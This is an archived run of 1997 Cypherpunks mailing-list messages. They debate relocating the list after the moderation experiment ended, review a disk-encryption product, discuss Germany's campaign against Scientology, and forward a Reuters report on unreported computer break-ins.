21:16:13 -0800 (PST) Subject: Filling Power Vacuums Message-ID: > heh. perhaps "leadership" involves more than posting. perhaps there > is a way to have "leadership" without hierarchy. perhaps "leadership" > is not equivalent to "management". perhaps sometimes > you win by losing, and lose by winning. perhaps water is so powerful > because it is lower than all that which it flows around. Could you explain the bit about having leadership w/o hierarchy. Yes ,if there is an informal leadership such as what Tim was refering to, then their is no heirarchy. However, as soon as people get designated as 'leaders' or 'moderators' then one has to have heirechy in that no matter how the various pieces of a system are arranged, they have to be arranged somehow, even completely at random. imho (which you seem to have so many of) you could spare the pseudo-Zen BS. > > timmy, why are you so upset about the media angle? why do you give the > slightest damn what the media thinks? answer: because you want to be > the one they call when they want to know what the cypherpunks think. > you want them to pay attention to the cypherpunks. in short, you would > like to have the glamor of a leader, without any of the responsibility. I don't think he was suggesting this in the least, he is quite capable of defending himself. I don't particularly like the idea of someone that I had no part in choosing being seen as representative of my views. > I think you would be surprise at the realization that "leaders" exist > in those so-called "anarchies" Key word 'so-called' An anarchie is usually a conceptual ideal that is never reached, sorta like a democracy. > <"power vacuum" to lead and control. > > apparently in your brain, "lead" == "control" Dosen't it though? How else can one 'lead'. Even if just by setting an example the leader is changing the follower's actions, e.g. controlling. Granted the follower is volentarily submitting to this control, but it is control none the less. Most other cases of hard leadership are not as nice. Josh From jer+ at andrew.cmu.edu Tue Feb 11 21:24:41 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 11 Feb 1997 21:24:41 -0800 (PST) Subject: Germany Versus Scientology In-Reply-To: Message-ID: <0n0J_f200YUg0KazU0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- Evil se7en writes: > I have posted a rather lengthy story about Germany's war against the > Scientologists. It was long enough to preclude mailing it directly to the > lists, so I have put it on my web site. You may find it at: > > http://www.dis.org/se7en/ > > with the link being directly under the large "X." I decided to post it > for the reasons that I know several people who suffered directly at the > hands of the Scientologists after trying to infiltrate their organization > via the Internet. These people will recieve this message due to this > posting. Enjoy. Heh, the top German Gov't anti-$cientoligist: "The state is obliged to protect its citizens from totalitarian organizations." I just love this whole thing. It's like two neighborhood bullies going at it in the school yard. It doesn't matter who wins, as long as it's long and bloody. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwFSnckz/YzIV3P5AQH/DwL/aX8VIWcSo7JqQuxL3EgyqOnOyYikRlTh irV8YtXhDlsqbVaZDIPoweE5viibrR0ZrfuCqRm4oClGRvttSJdPxTN5iY5ry+HQ 6HFgT3zWxOH5OSyg/8tz2oVirtCOoGD/ =L0xY -----END PGP SIGNATURE----- From stewarts at ix.netcom.com Tue Feb 11 21:31:03 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 11 Feb 1997 21:31:03 -0800 (PST) Subject: Shade Disk Encryptor for NT Registration key In-Reply-To: <199702111903.VAA06693@csts.co.il> Message-ID: <3.0.1.32.19970211113553.00681938@popd.ix.netcom.com> >SoftWinter Support >softwinter at post1.com >http://softwinter.bitbucket.co.il Shade looks like an interesting product, and anything that fits into 64K these days (even if that is the size of the zip file) deserves some respect :-) For cypherpunks - it's using MDC as its crypto algorithm, with 160-bit SHA as the hash. I can't tell if that's the original SHA or the revised SHA-1. The readme.txt is adapted from Peter Gutmann's MDC documentation. The demo version runs for 21 days, and doesn't do encryption, so perhaps the real thing is a bit larger. List price is $149 US. I couldn't get it to run - I'm using NT 3.51, which you haven't tested it on, rather than NT 4.0; it complained about not being able to find Image_List_SetImageCnt in COMCTL32.dll or something like that. Perhaps that's related to not having installation instructions with the demo? there's a SecDisk.sys that looks like it wants something done with it... Or perhaps it's just a 3.51 vs. 4.0 difference. Oh, well... > Shade allows you to create encrypted disk device inside a file. > Such a device can then be formated using any file system > (like NTFS or FAT) and used as a regular disk. The only difference > is that Shade will encrypt the data on every write operation > and decrypt it on every read operation. I assume it's possible to use this for TEMP directories for applications like word processors. I'm not sure I'd want to use it for swap, but do you know if that would work? # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Tue Feb 11 21:32:49 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 11 Feb 1997 21:32:49 -0800 (PST) Subject: Cypherpunks-related lists on toad.com In-Reply-To: <199702111340.FAA18603@toad.com> Message-ID: <3.0.1.32.19970211212158.0067c7a0@popd.ix.netcom.com> Hi, John - thanks for supporting and putting up with us all these years. How do you feel about continuing support for the cypherpunks-related lists that are also on toad.com, coderpunks and cypherpunks-announce? I'd guess that if we move the cypherpunks list to another machine, rather than mutating it into alt.cypherpunks, the -announce list should probably also move once the new list is working. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From rah at shipwright.com Tue Feb 11 21:49:26 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 11 Feb 1997 21:49:26 -0800 (PST) Subject: alt.cypherpunks Message-ID: <199702120549.VAA07146@toad.com> Hey, folks, I thought all you had to do to create an alt.group was to have a news admin somewhere just make a group; send out a control message of somekind. I thought that alt groups didn't have to go through a charter, or voting process, or anything else. They just happened. Then, everyone just has to tell their local news admin that they went to see it, or they can wait until their news admin sees it flying by, and adds it to the available groups list at his own discretion. It's not like we want comp.cypherpunks or something, with a voting process, right? Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From jer+ at andrew.cmu.edu Tue Feb 11 21:49:43 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 11 Feb 1997 21:49:43 -0800 (PST) Subject: Cocksucker Gilmore's Big Adventure In-Reply-To: <199702120040.SAA06406@wire.insync.net> Message-ID: <0n0JV2200YUg0Kakg0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- Eric Cordian writes: > A Gilmore Supporter writes: > > > You know, I was vaugley offended by John's comments about whiny > > cypherpunks, until I read this message and realized who he was talking > > about. John, thank you for your years of service to the cypherpunk > > community 9such as it is), > > John Gilmore's only contribution to Cypherpunks has been to provide > a box. I can't even remember the last time he contributed something of > interest to the list, and he certainly ranks as one of the least > frequent contributors of substance over the years. You have obviously never administered a Unix system. Just runing a machine with a few users requires some effort, I've done it. Managing a mailing list, especially one this immensly huge, has got to be one of the bitchliest things on earth. If you think running a majordomo for cypherpunks is just a matter of "providing a box," why don't you try it? > > and Sandy, thanks for your well-intentioned > > (but doomed from day one) efforts to take some resopnsibility for our > > current mess. It's too bad things had to end in such a pissy way, but > > anyone who wants to dole out blame should realize that in an anarchy, > > all members are responsible for the maintainence of freedom. > > Sandy, unlike Herr Gilmore, has been a major contributor of substance > to the list since its inception, and hopefully he will continue to be > in the future. The idea that he should moderate the list was of > course a silly one, but for reasons which do not reflect badly on him > in the least. > > What Mr. Blatz fails to realize is that the "problem" which certain > people tried to solve never really existed. The quality of the > Cypherpunks list is determined solely by the amount of signal, not > by the amount of noise, unless one is getting ones feed of the > list via 1200 baud long distance UUCP. RTFM well-intentioned. And please excuse my lack of gratuitous "scare quotes." (There, is that better?) List members complained. John said there was a problem, Sandy belived him and foolishly volunteered to "moderate" (enough scare quotes for you?) the list. Maybe John has grown into a crumudgen after his years of taking care of toad.com, but he's all but out of the picture now. At least he had the common sence to realize that he was not able to run the list in an appropriate manner and force a carthises. Better that then to let the list die out from continuing moderation. > The notion that the list was ever threatened by the humour of Dr. > Vulis, or the one line bot-spammed insults about Tim May's heritage, > is an absurd one. No one should have had any problem ignoring such > material, and only a politically naive fool would buy this as the > excuse for the blatant usurpation of the list by Gilmore and crew. Agreed. I do, after all, read the "unfiltered" list. But you have no right to tell Mr. Gillmore what to with his machine and his time. Perhaps 10 days is not enough to get a smooth transition to another system, but it does have the nice effect of moving people to action. You could take a look at the literature on social loafing for a full explanation. Cordially, Jeremiah Blatz "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwFYPskz/YzIV3P5AQHS7QMAyccuA5PbahXKAsJNsYdOKZHODqJng7C1 aTJ/BYYefEHngNSSb9KNu/deGUV1rrq/+zbmWfEDQYxBANpkJ6O60w8kJmR7iAI2 iH3TpsuKokazw/3QCLWrKh6AO9TNxwJ1 =2iSj -----END PGP SIGNATURE----- From pdh at best.com Tue Feb 11 21:50:11 1997 From: pdh at best.com (Peter Hendrickson) Date: Tue, 11 Feb 1997 21:50:11 -0800 (PST) Subject: Network of majordomos Message-ID: <199702120550.VAA07162@toad.com> At 1:09 PM 2/11/1997, Greg Broiles wrote: >At 10:45 AM 2/11/97 -0600, Firebeard wrote: >> [...] I've already taken steps, along with Jim Choate, to >> start a network of majordomos hosting a Cypherpunks mailing list. >> [...] Our intention is to have a set of majordomos which >> are intersubscribed to a cypherpunks list on each one, with measures >> taken to ensure that mail loops don't develop. > I still think you're just rediscovering Usenet technology.... > And, if you must, run mail-to-news gateway(s) which send the newsgroup to > people who want it as E-mail. > Usenet technology does exactly what you're describing:... How about this? The people who like Usenet should race ahead and set it up. The people who like networks of majordomos should race ahead and set those up. Just so long as the tracks meet somewhere in Utah. The more people are involved with distributing the "list" the more robust it will be. Peter Hendrickson pdh at best.com From ichudov at algebra.com Tue Feb 11 21:54:39 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Tue, 11 Feb 1997 21:54:39 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702120554.VAA07252@toad.com> i have already set up majordomo at algebra.com and cypherpunks at algebra.com and can join. igor Firebeard wrote: > > >>>>> John Gilmore writes: > > JG> Sandy has agreed to continue moderation through the end of the > JG> original 1-month experiment (through Feb 19). And it's a good > JG> thing, too, because the "cypherpunks community" had better get off > JG> its whining butt in the next ten days, or it will no longer exist. > > [...] > > JG> This is a "put up or shut up" to the cypherpunks community. > > This appears to be as good a time as any to announce that I'm > "putting up". I've already taken steps, along with Jim Choate, to > start a network of majordomos hosting a Cypherpunks mailing list. I > didn't intend to announce this until Jim and I had gotten the first > pair of 'domos working properly, but this means that we'll need to > speed things up. Our intention is to have a set of majordomos which > are intersubscribed to a cypherpunks list on each one, with measures > taken to ensure that mail loops don't develop. As the resulting > mailing list from each 'domo will be identical, periodically > (initially weekly), the subscriber lists of all of the participating > majordomos will be compared, with any duplicate subscribers being > removed from the 'domo(s) with the longest subscriber list. There > will be no filtering done of any mail to the collective list, although > anyone interested in providing a filtered list will be welcome to > subscribe to the list. Anyone interested in joining the 'domo network > with the conditions described (duplicate subscriber checking and no > filtering) is welcome. > > John, I'd appreciate your permission to use your Cypherpunks > welcome message as the basis for the welcome message of this new list. > Also, while we will make every effort to have this new list available > for subscriptions by Feb 20, I'd appreciate it if you could consider > making the current list available for a short period longer if we > encounter unanticipated difficulties. > > -- > #include /* Sten Drescher */ > ObCDABait: For she doted upon their paramours, whose flesh is as the > flesh of asses, and whose issue is like the issue of horses. [Eze 23:20] > ObFelony: President Clinton, you suck, and those boys died! > Unsolicited bulk email will be stored and handled for a US$500/KB fee. > - Igor. From tcmay at got.net Tue Feb 11 21:55:47 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 11 Feb 1997 21:55:47 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702120555.VAA07276@toad.com> At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: >If the people decide for creation of a new USENET newsgroup, >we need to think very hard about actually moving it to a different >hierarchy from alt.*. I would propose comp.org.cypherpunks, >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > >A comp.* or sci.* newsgroup, if created, has the following advantages >over an alt.* newsgroup: > >1) There is usually less spam in sci.* or comp.* >2) There are virtually no completely irrelevant flamewars >3) The propagation will be a lot better >4) More people will be able to read it because of the issue of providers > not carrying alt.*. > >I see nothing that would make a sci.* or comp.* newsgroup worse than >alt.* newsgroup. Sure, and this has come up in every past discussion of creating "alt.cypherpunks." But the creation of alt.cypherpunks is _easy_, and needs little permission or support, whereas the creation of "soc.culture.cypherpunks" or whatever takes work, requires a vote, blah blah blah. And so it never gets off the ground. (Nor is it clear to me, and perhaps not to others, that it belongs in the the various places Igor mentioned. Comp.org.cypherpunks probably is the best fit, but then many would cite the "comp" part to try to insist that only _computer_ topics be discussed. Likewise, the "soc" domain would skew discussion...etc. "Alt" has the nice advantage of explicitly not be part of sci, or comp, or soc, or even talk.) Since posting my comments I've just seen the proposal that tivoli may host a list. Fine with me. But I wonder how long Tivoli and its parent company, IBM, will tolerate such things as postings of dumpster divings at Mykotronx and RSADSI, of deliberate slams against Tivoli products (a la the case John Gilmore referred to this morning), postings about assassination markets, and so on. I still feel that the time has come to move virtual forums such as ours out of U.S. jurisdictions. Given that most European nations are worse in some ways (no Holocaust denial posts allowed in "cypherpunks at foobar.de"?), I recommend the alt.cypherpunks as the best overall compromise. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From dthorn at gte.net Tue Feb 11 21:55:49 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 21:55:49 -0800 (PST) Subject: Germany Versus Scientology In-Reply-To: Message-ID: <33015976.5514@gte.net> Evil se7en wrote: > I have posted a rather lengthy story about Germany's war against the > Scientologists. It was long enough to preclude mailing it directly to the > lists, so I have put it on my web site. You may find it at: The L.A. Times ran a very impressive two-page article on this last week. The text compared the current steps by the German govt. to the steps taken against Jews by the Nazi govt. I happen to believe that Scientologists are dangerous, for how quickly they can ruin someone's mental state. But the article is interesting for the comparisons.... From tcmay at got.net Tue Feb 11 21:57:25 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 11 Feb 1997 21:57:25 -0800 (PST) Subject: List! No Way: Creation of "alt.cypherpunks" Message-ID: <199702120557.VAA07288@toad.com> At 7:11 PM +0000 2/11/97, Attila T. Hun wrote: > tim: > > two points you make: > > 1. the propogation is slow... > > 2. some sites do not carry alt. groups > > are enough to kill an active discussion list. of course, it does > slow down excessive volume. Good points. However, I'm used to fairly robust debate on Usenet, and the prop delay does not seem too stifling to me. As you note, it cuts down on immediate replies; this may not be a bad thing. I see any site which can be identified with a corporate or institutional entity--like C2Net, toad, Tivoli, Primenet, Netcom, whatever--being targetted if a controversial mailing list is hosted at that site. (This may not have been the case when the list was full unmoderated, and was only a "reflector" or exploder of incoming messages. As soon as a moderator started passing on some messages and rejecting others, the precedent was set (somewhat) for charges that a site or sysadmin is now liable. This has not been tested in court, of course, but I fear this is how things will go. As I mentioned in another message, had the traffic in alt.religion.scientology instead flowed through a site such as "scientology at primenet.com," the operators of Primenet and the sysadmin of that mailing list almost certainly would have received "decease and cyst" orders. Remember that Netcom was hit with similar orders. Usenet cannot be stopped in this way. A major strength.) > I vote we just set up a new majordomo with some additional antispam > filters including knocking out exploding mail headers, etc. I would > accept excluding non-members as long as we take the remailers which > are listed with either JP or RL. This is a suggestion I have long thought to be a good one. Only allow posts from list subscribers, and make a special exception for remailers by adding them to the approval list. Figure if a spammer is smart enough to know what a remailer is, at least see her traffic for a while. Drop the inclusion of remailers if volume is too high. (Or, put remailer messages in a special place. An ftp or Web site, for retrieval. Or have list members "vet" the remailed messages, as someone was suggesting a few months back. Or....) > Likewise, Jim Choate and Sten Drescher apparently are trying to > establish a multi-site majordomo. the extra work of maintaining > non-duplicates and sychronization makes the task non-trivial and > questionable... Yeah, it seems to be one of those potentially good ideas that will just never get done, due to the difficulties, the maintenance, and the press of other projects. (And even if it gets done, which I hope for of course, I doubt many of us will want anything with added complexity, new commands for our posting software to deal with, etc. So, it will have to look just like an ordinary mailing list, with the mirroring handled transparently.) (Speculation: Isn't some of this talk about distributed mailing list sites and mirroring beginning to echo the structure of FidoNet?) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jer+ at andrew.cmu.edu Tue Feb 11 22:01:42 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 11 Feb 1997 22:01:42 -0800 (PST) Subject: Cocksucker Gilmore's Big Adventure Message-ID: <199702120601.WAA07338@toad.com> -----BEGIN PGP SIGNED MESSAGE----- mpd at netcom.com (Mike Duvos) writes: > John Gilmore writes: > > Sandy has agreed to continue moderation through the end of the > > original 1-month experiment (through Feb 19). And it's a good > > thing, too, because the "cypherpunks community" had better get > > off its whining butt in the next ten days, or it will no longer > > exist. > > Ten days notice to relocate a high volume mailing list is > insufficient. This is yet another ultimatum by a whining coward > who does not yet realize he is in a battle he is not going to win > by escalation of reciprocal pissing. You know, I was vaugley offended by John's comments about whiny cypherpunks, until I read this message and realized who he was talking about. John, thank you for your years of service to the cypherpunk community 9such as it is), and Sandy, thanks for your well-intentioned (but doomed from day one) efforts to take some resopnsibility for our current mess. It's too bad things had to end in such a pissy way, but anyone who wants to dole out blame should realize that in an anarchy, all members are responsible for the maintainence of freedom. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwEAm8kz/YzIV3P5AQHEagL8Co832vJ75u3U0zfEYp8ixZ1yGM1sx4jQ Aybf55rSeeCUVIOpxgWL03NHEm2+5l9eIAg6qxbne4UZpURu79suMJGe1i5p8ekT UIJsRRZTpq6OVr9w86uJHl3HDvaM9CnK =SeWH -----END PGP SIGNATURE----- From ravage at einstein.ssz.com Tue Feb 11 22:01:55 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Tue, 11 Feb 1997 22:01:55 -0800 (PST) Subject: NEW CYPHERPUNKS LIST (was Re: Moderation experiment almost over; "put up or shut up") (fwd) Message-ID: <199702120601.WAA07346@toad.com> Forwarded message: > Date: Tue, 11 Feb 1997 18:49:46 GMT > From: Adam Back > > > This appears to be as good a time as any to announce that I'm > > "putting up". I've already taken steps, along with Jim Choate, to > > start a network of majordomos hosting a Cypherpunks mailing list. I > > didn't intend to announce this until Jim and I had gotten the first > > pair of 'domos working properly, but this means that we'll need to > > speed things up. Our intention is to have a set of majordomos which > > are intersubscribed to a cypherpunks list on each one, with measures > > taken to ensure that mail loops don't develop. > I'll contribute what I had planned: > > As a stop gap measure you could create a standard majordomo at the > beefiest of your 'domo hosts. While it is true I was planning on bringing the Austin Cpunks remailer back (kourier.ssz.com) this rather unexpected expansion has got me backpedalling. So it looks like it will take about 3 weeks to get the intial site ready for public access. Right now my ISDN based site is all we have working. We have another site through another ISP in the process of registering and configuration. I have currently created a 'cypherpunks at ssz.com' but still have a couple of other issues to work out. The most relevant one is that I will be upgrading both Linux and Majordomo in approx. 2 weeks. We will be discussing this issue further on Saturday at the Austin Cypherpunks meeting. If all goes well with our discussion and my upgrade we should have the SSZ cypherpunks site available in about 2 weeks. Sten and I hope that we can pursuade some others to get involved both running remailers as well as modifying the various scripts. At this point everything we do will be released to the public domain. We also are expecting to add a proviso that all submissions to the cpunks distributed remailer will be de facto public domain unless a specific 'fair use' header is included in each submission. Finaly, another issue that will slow me down is the upcoming SRL show here in Austin. I have committed time and effort so I don't know yet how the conflicts will come or how I will resolve them. The next SRL planning meet is Thu. nite so I will have a clearer idea of my upcoming schedule. > Or you could create a quick 'n dirty mail exploder, by taking the > current subscribers, and putting 100 mail addresses in a .forward file [much good comments cut out] > Final comment: perhaps you've investigated this, but what Perry > Metzger has for the majordomo running cryptography at c2.net is excellent > at stopping people forging subscribe and unsubscribe messages. > > And would really cut down the nuisance of people subscribing others > without their knowledge. These are several of the issues that we will be discussing this Saturday. We will also be looking at various means to distribute the subscriber list. The current lead suggestion is to have subscriptions at any of the cpunks be evenly distributed among them. This would somewhat complicate the subscriber process. Another aspect that I am hot to trot on is setting the system up so that some of the cpunks sites could be anonymous, crypto, or combo remailers as well. Jim Choate CyberTects ravage at ssz.com From emc at wire.insync.net Tue Feb 11 22:02:18 1997 From: emc at wire.insync.net (Eric Cordian) Date: Tue, 11 Feb 1997 22:02:18 -0800 (PST) Subject: Cocksucker Gilmore's Big Adventure Message-ID: <199702120602.WAA07354@toad.com> A Gilmore Supporter writes: > You know, I was vaugley offended by John's comments about whiny > cypherpunks, until I read this message and realized who he was talking > about. John, thank you for your years of service to the cypherpunk > community 9such as it is), John Gilmore's only contribution to Cypherpunks has been to provide a box. I can't even remember the last time he contributed something of interest to the list, and he certainly ranks as one of the least frequent contributors of substance over the years. Any goodwill John might have built up by letting us all use his box has certainly been eradicated over the last few weeks by his takeover of the list, and the series of edicts which followed. Yes, it was nice of John to donate the use of his box, back in the days when he did not feel the urge to exercise unilateral editorial control. But if it hadn't been his box, it would have been someone elses box, and our gratitude towards him shouldn't be so great that we are willing to sit back and let him do major damage to that which "Cypherpunks" is supposed to stand for, lest someone claim we are unappreciative. > and Sandy, thanks for your well-intentioned > (but doomed from day one) efforts to take some resopnsibility for our > current mess. It's too bad things had to end in such a pissy way, but > anyone who wants to dole out blame should realize that in an anarchy, > all members are responsible for the maintainence of freedom. Sandy, unlike Herr Gilmore, has been a major contributor of substance to the list since its inception, and hopefully he will continue to be in the future. The idea that he should moderate the list was of course a silly one, but for reasons which do not reflect badly on him in the least. What Mr. Blatz fails to realize is that the "problem" which certain people tried to solve never really existed. The quality of the Cypherpunks list is determined solely by the amount of signal, not by the amount of noise, unless one is getting ones feed of the list via 1200 baud long distance UUCP. Anyone can create signal by writing about relevant topics, and if you feel signal is lacking in your particular area of interest, feel free to add some. The notion that the list was ever threatened by the humour of Dr. Vulis, or the one line bot-spammed insults about Tim May's heritage, is an absurd one. No one should have had any problem ignoring such material, and only a politically naive fool would buy this as the excuse for the blatant usurpation of the list by Gilmore and crew. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From das at razor.engr.sgi.com Tue Feb 11 22:16:39 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Tue, 11 Feb 1997 22:16:39 -0800 (PST) Subject: whois cypherpunks.org ? Message-ID: <199702120616.WAA07536@toad.com> With all this talk about relocating the home of cypherpunks, I decided to see if any second level domains are registered under the cypherpunks name. Both cypherpunks.org and cypherpunks.com are registered by one Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list though. Anybody knows more about this? -- Anil Das From se7en at dis.org Tue Feb 11 22:16:53 1997 From: se7en at dis.org (Evil se7en) Date: Tue, 11 Feb 1997 22:16:53 -0800 (PST) Subject: Germany Versus Scientology Message-ID: <199702120616.WAA07549@toad.com> I have posted a rather lengthy story about Germany's war against the Scientologists. It was long enough to preclude mailing it directly to the lists, so I have put it on my web site. You may find it at: http://www.dis.org/se7en/ with the link being directly under the large "X." I decided to post it for the reasons that I know several people who suffered directly at the hands of the Scientologists after trying to infiltrate their organization via the Internet. These people will recieve this message due to this posting. Enjoy. se7en From ravage at einstein.ssz.com Tue Feb 11 22:20:34 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Tue, 11 Feb 1997 22:20:34 -0800 (PST) Subject: http:--cnnfn.com-digitaljam-wires-9702-11-hackers_wg- Message-ID: <199702120620.WAA07597@toad.com> Click here to download the shareware YOU want at ZDNet [INLINE] Digital Jam hackers graphic Hackers victimize firms Experts tell House panel breaking into networks is too simple February 11, 1997: 6:17 p.m. ET [INLINE] Hackers and Feds in Vegas - July 31, 1996 Internet firms make hacking pay - April 12, 1996 WASHINGTON (Reuter) -- Hackers are finding it easier to break into computer networks and steal money, partly because companies are reluctant to admit that they are vulnerable, security experts said Tuesday. [INLINE] "If I want to steal money a computer is a much better tool than a handgun," Daniel Geer, engineering director for Open Market, Inc., told a House of Representatives technology subcommittee hearing on computer security. "They start out stealing $1,000 a day and figure they can get away with $2,000 a day and then they get greedy and hit some figure which sets off alarm bells." [INLINE] A panel of experts assembled by the subcommittee said many companies refuse to report breaches in their security because they want to avoid negative publicity and embarrassment. [INLINE] "Most computer crimes are not reported," Eugene Spafford of Purdue University told the panel. He estimated losses run into "hundreds of millions of dollars" but said no one really knows since so much goes unreported. [INLINE] Daniel Farmer, a security consultant, said penetrating a computer system is relatively easy. "Just using simple tests, I could break into two-thirds of the systems I tried," he said, adding that he could easily raise that figure to three-quarters if he wanted. [INLINE] Farmer said that during his tests he even discovered a problem with the White House World Wide Web site and told the system manager about it. He said he never received a reply. [INLINE] "Defensive programs have been overtaken by offensive programs" developed by hackers, he said. [INLINE] Spafford said law enforcement has kept pace with advances made by hackers who are able essentially to take over entire networks and run them by remote control. [INLINE] In addition to banks and corporations, the experts said, government secrets can be stolen and used to threaten national security. They cited recent computer network tampering at the Justice Department and the CIA. [INLINE] A General Accounting Office study recently found that there were 250,000 "hits" aimed at the Defense Department's computer networks last year and 65 percent were successful. Link to top home | digitaljam | contents | search | stock quotes | help Copyright 1997 Reuters. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. Copyright © 1997 Cable News Network, Inc. ALL RIGHTS RESERVED. From lharrison at mhv.net Tue Feb 11 22:21:17 1997 From: lharrison at mhv.net (Lynne L. Harrison) Date: Tue, 11 Feb 1997 22:21:17 -0800 (PST) Subject: Computer break-ins Message-ID: <199702120621.WAA07619@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable To: cypherpunks at toad.com Date: Tue Feb 11 22:14:30 1997 U.S. Experts: Computer Break-Ins Go Unreported U.S. Experts: Computer Break-Ins Go Unreported February 11, 1997, 4:19 PM EST WASHINGTON (Reuter) - Security experts said on Tuesday hackers are finding it easier to break into computer networks and steal money, partly because companies are reluctant to admit that they are vulnerable. ``If I want to steal money a computer is a much better tool than a handgun,'' Daniel Geer, Director of Engineering for Open Market, Inc., told a House of Representatives technology subcommittee hearing on computer security. ``The only way they get caught is if they cross some threshold,'' he said. ``They start out stealing $1,000 a day and figure they can get away with $2,000 a day and then they get greedy and hit some figure which sets off alarm bells.'' A panel of experts assembled by the subcommittee said many companies refuse to report breaches in their security because of they want to avoid negative publicity and embarassment. ``Most computer crimes are not reported,'' Eugene Spafford of Purdue University told the panel. He estimated losses run into ``hundreds of millions of dollars'' but said no one really knows since so much goes unreported. Daniel Farmer, a security consultant, said penetrating a computer system was relatively easy. ``Just using simple tests, I could break into two-thirds of the systems I tried,'' he said, adding that he could easily raise that figure to three-quarters if he wanted. Farmer said that during his tests he even discovered a problem with the White House World Wide Web site and told the system manager about it, but never received a reply. ``Defensive programs have been overtaken by offensive programs'' developed by hackers, he said. Spafford said law enforcement had not been able to keep up with advances made by hackers who are able essentially to take over entire networks and run them by remote control. In addition to banks and corporations, the experts said, government secrets can be stolen and threaten national security. They cited recent computer network tampering at the Justice Department and the CIA. A General Accounting Office study found that there were 250,000 ``hits'' aimed at the Defense Department's computer networks last year and 65 percent were successful. =A9 Reuters Ltd. All rights reserved. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwE1lz5A4+Z4Wnt9AQHlrAQAi4X7MTb8CbWTaQZfdLIfwzkMkzT1g/gi QPcdaPedbgG6tU8SBS5trqyXu5JvwaVomEUpW+qrKT0JzD8a1Lyf23dgK5qLM+/+ fDWz08KaxsW3uymTRNBZo2gl/ZwpdU7DeQoReOkAqQyBXPWeoBRwYbyGu1pDlHBB yK3hRY2MrEk= =Ht0R -----END PGP SIGNATURE----- --j0geb1id6lkzfrn2of7klxdtm3pg8j-- From omegam at cmq.com Tue Feb 11 22:27:27 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Tue, 11 Feb 1997 22:27:27 -0800 (PST) Subject: Cypherpunks-resources FAQ for alt.cypherpunks Message-ID: <199702120614.AAA02312@jolietjake.com> I am under the assumption that alt.cypherpunks or alt.privacy.cypherpunks or some such will come into existence shortly. With that in mind, I have decided to create a FAQ of pointers to resources on cypherpunk issues. The goal is to help eliminate the "What is PGP?" and other newbie-questions that are bound to come up even more frequently in a newsgroup scenario. A FAQ such as this has probably long been appropriate, but it didn't really occur to me until just now. Not being a cryptologist or adequate coder, this is one way I feel I can contribute. It's hard to have discussions when people haven't even looked at the background information before piping in. I don't pretend that a FAQ can prevent this, but it's worth a shot anyway. I started typing away about two hours ago and came up with the following. It's pretty shaky since it's late and it's Mardi Gras. Feel free to comment in public or private. Please, Please, Please make suggestions and provide relevant pointers. Obviously, I will be doing a lot of research over the next few weeks to fill in this very bare outline. If you disagree with this or feel its useless... fine. Please tell me and explain all your reasons why. Besides, I'm doing it regardless. Here's what I'm chewing on so far.... ----------------------------------------------------------------------- Cypherpunks Resources FAQ version 0.000000001 This document lists resources for readers interested in Cypherpunk issues and goals. The primary intention of this document is to get new readers to the group to explore the 